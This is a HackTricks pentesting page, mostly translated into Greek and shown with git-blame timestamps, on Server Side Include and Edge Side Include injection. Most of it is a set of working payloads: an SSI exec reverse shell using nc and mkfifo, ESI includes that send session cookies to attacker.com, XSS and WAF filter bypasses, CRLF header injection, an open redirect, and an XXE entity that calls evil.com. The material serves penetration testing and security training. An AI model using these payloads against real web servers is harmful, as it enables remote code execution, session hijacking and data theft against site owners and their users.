hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

240 lines
15 KiB
Markdown
Raw Normal View History

# Server Side Inclusion/Edge Side Inclusion Injection
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Server Side Inclusion Basic Information
2021-06-07 09:30:58 +00:00
**(Introduction taken from [Apache docs](https://httpd.apache.org/docs/current/howto/ssi.html))**
2024-02-05 02:28:59 +00:00
SSI (Server Side Includes) είναι εντολές που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον διακομιστή** ενώ οι σελίδες εξυπηρετούνται. Σας επιτρέπουν να **προσθέσετε δυναμικά παραγόμενο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να εξυπηρετήσετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\
Για παράδειγμα, μπορείτε να τοποθετήσετε μια εντολή σε μια υπάρχουσα σελίδα HTML, όπως:
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
Και, όταν η σελίδα εξυπηρετείται, αυτό το τμήμα θα αξιολογηθεί και θα αντικατασταθεί με την τιμή του:
2021-06-07 09:30:58 +00:00
`Tuesday, 15-Jan-2013 19:28:54 EST`
2021-06-07 09:30:58 +00:00
Η απόφαση για το πότε να χρησιμοποιήσετε SSI και πότε να έχετε τη σελίδα σας να παράγεται εξ ολοκλήρου από κάποιο πρόγραμμα, είναι συνήθως θέμα του πόσο στατική είναι η σελίδα και πόσο χρειάζεται να επαναϋπολογίζεται κάθε φορά που εξυπηρετείται η σελίδα. Το SSI είναι ένας εξαιρετικός τρόπος για να προσθέσετε μικρά κομμάτια πληροφοριών, όπως η τρέχουσα ώρα - όπως φαίνεται παραπάνω. Αλλά αν η πλειοψηφία της σελίδας σας παράγεται τη στιγμή που εξυπηρετείται, πρέπει να αναζητήσετε κάποια άλλη λύση.
2021-06-07 09:30:58 +00:00
Μπορείτε να συμπεράνετε την παρουσία του SSI αν η διαδικτυακή εφαρμογή χρησιμοποιεί αρχεία με τις επεκτάσεις ** `.shtml`, `.shtm` ή `.stm`**, αλλά δεν είναι μόνο αυτή η περίπτωση.
2021-06-07 09:30:58 +00:00
Μια τυπική έκφραση SSI έχει την εξής μορφή:
```
2021-06-07 09:30:58 +00:00
<!--#directive param="value" -->
```
2024-02-10 22:40:18 +00:00
### Έλεγχος
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
2022-10-03 13:43:01 +00:00
## Edge Side Inclusion
2021-06-07 09:30:58 +00:00
Υπάρχει ένα πρόβλημα **με την αποθήκευση πληροφοριών ή δυναμικών εφαρμογών** καθώς μέρος του περιεχομένου μπορεί να έχει **διαφορεθεί** για την επόμενη φορά που θα ανακτηθεί το περιεχόμενο. Αυτό είναι που χρησιμοποιείται το **ESI**, για να υποδείξει χρησιμοποιώντας ετικέτες ESI το **δυναμικό περιεχόμενο που πρέπει να παραχθεί** πριν από την αποστολή της έκδοσης cache.\
Εάν ένας **επιτιθέμενος** είναι σε θέση να **εισάγει μια ετικέτα ESI** μέσα στο περιεχόμενο cache, τότε θα μπορούσε να είναι σε θέση να **εισάγει αυθαίρετο περιεχόμενο** στο έγγραφο πριν σταλεί στους χρήστες.
2021-06-07 09:30:58 +00:00
### ESI Detection
2021-06-07 09:30:58 +00:00
Η παρακάτω **κεφαλίδα** σε μια απάντηση από τον διακομιστή σημαίνει ότι ο διακομιστής χρησιμοποιεί ESI:
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
Αν δεν μπορείτε να βρείτε αυτή την κεφαλίδα, ο διακομιστής **μπορεί να χρησιμοποιεί ESI ούτως ή άλλως**.\
Μια **προσέγγιση τυφλής εκμετάλλευσης μπορεί επίσης να χρησιμοποιηθεί** καθώς ένα αίτημα θα πρέπει να φτάσει στον διακομιστή των επιτιθεμένων:
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
2024-02-10 22:40:18 +00:00
hell<!--esi-->o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
2021-06-07 09:30:58 +00:00
```
### ESI exploitation
2021-06-07 09:30:58 +00:00
[GoSecure δημιούργησε](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) έναν πίνακα για να κατανοήσουμε τις πιθανές επιθέσεις που μπορούμε να δοκιμάσουμε σε διάφορα λογισμικά που υποστηρίζουν ESI, ανάλογα με τη λειτουργικότητα που υποστηρίζουν:
2022-10-03 13:43:01 +00:00
* **Includes**: Υποστηρίζει την εντολή `<esi:includes>`
* **Vars**: Υποστηρίζει την εντολή `<esi:vars>`. Χρήσιμο για την παράκαμψη φίλτρων XSS
* **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα στον κινητήρα ESI
* **Upstream Headers Required**: Οι εφαρμογές υποκατάστασης δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις κεφαλίδες
* **Host Allowlist**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των διακομιστών
2021-06-07 09:30:58 +00:00
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
2022-10-03 13:43:01 +00:00
#### XSS
2021-06-07 09:30:58 +00:00
Η παρακάτω εντολή ESI θα φορτώσει ένα αυθαίρετο αρχείο μέσα στην απόκριση του διακομιστή
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/xss.html>
```
#### Παράκαμψη προστασίας XSS πελάτη
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2023-01-04 14:57:03 +00:00
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
2021-06-07 09:30:58 +00:00
```
2024-02-10 22:40:18 +00:00
#### Κλοπή Cookie
2021-06-07 09:30:58 +00:00
2024-02-10 22:40:18 +00:00
* Απομακρυσμένη κλοπή cookie
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Κλέψτε το cookie HTTP\_ONLY με XSS αντανακλώντας το στην απάντηση:
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
2024-02-06 03:10:38 +00:00
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
2023-01-04 14:57:03 +00:00
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
2024-02-06 03:10:38 +00:00
# It's possible to put more complex JS code to steal cookies or perform actions
```
2024-02-10 22:40:18 +00:00
#### Ιδιωτικό Τοπικό Αρχείο
2023-01-04 14:57:03 +00:00
Μην το συγχέετε με μια "Τοπική Συμπερίληψη Αρχείου":
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="secret.txt">
```
2022-10-03 13:43:01 +00:00
#### CRLF
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
2021-06-07 09:30:58 +00:00
Το παρακάτω θα προσθέσει ένα `Location` header στην απάντηση
2023-01-04 14:57:03 +00:00
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
2024-02-10 22:40:18 +00:00
#### Προσθήκη Κεφαλίδας
2023-01-04 14:57:03 +00:00
* Προσθήκη κεφαλίδας σε αναγκαστικό αίτημα
2024-02-06 03:10:38 +00:00
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Προσθέστε κεφαλίδα στην απάντηση (χρήσιμο για να παρακάμψετε το "Content-Type: text/json" σε μια απάντηση με XSS)
2023-01-04 14:57:03 +00:00
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
2024-02-06 03:10:38 +00:00
# Check the number of url_decode to know how many times you can URL encode the value
2023-01-04 14:57:03 +00:00
```
#### CRLF στο Add header (**CVE-2019-2438**)
2024-02-06 03:10:38 +00:00
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
2022-10-15 14:18:24 +00:00
Αυτό θα στείλει πληροφορίες αποσφαλμάτωσης που περιλαμβάνονται στην απάντηση:
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
<esi:debug/>
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
Με την καθορισμένη τιμή `xslt` για την παράμετρο _dca_, είναι εφικτό να συμπεριληφθεί **`eXtensible Stylesheet Language Transformations (XSLT)`** βασισμένο ESI. Η συμπερίληψη προκαλεί την ανάκτηση των αρχείων XML και XSLT από τον HTTP surrogate, με το δεύτερο να φιλτράρει το πρώτο. Τέτοια αρχεία XML είναι εκμεταλλεύσιμα για επιθέσεις _XML External Entity (XXE)_, επιτρέποντας στους επιτιθέμενους να εκτελούν επιθέσεις SSRF. Ωστόσο, η χρησιμότητα αυτής της προσέγγισης είναι περιορισμένη, καθώς το ESI περιλαμβάνει ήδη ως vector SSRF. Λόγω της απουσίας υποστήριξης στη βασική βιβλιοθήκη Xalan, οι εξωτερικές DTDs δεν επεξεργάζονται, αποτρέποντας την εξαγωγή τοπικών αρχείων.
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT αρχείο:
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 09:30:58 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Check the XSLT page:
2021-06-07 11:31:39 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2024-02-10 22:40:18 +00:00
### Αναφορές
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
2021-06-07 09:30:58 +00:00
## Λίστα Ανίχνευσης Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}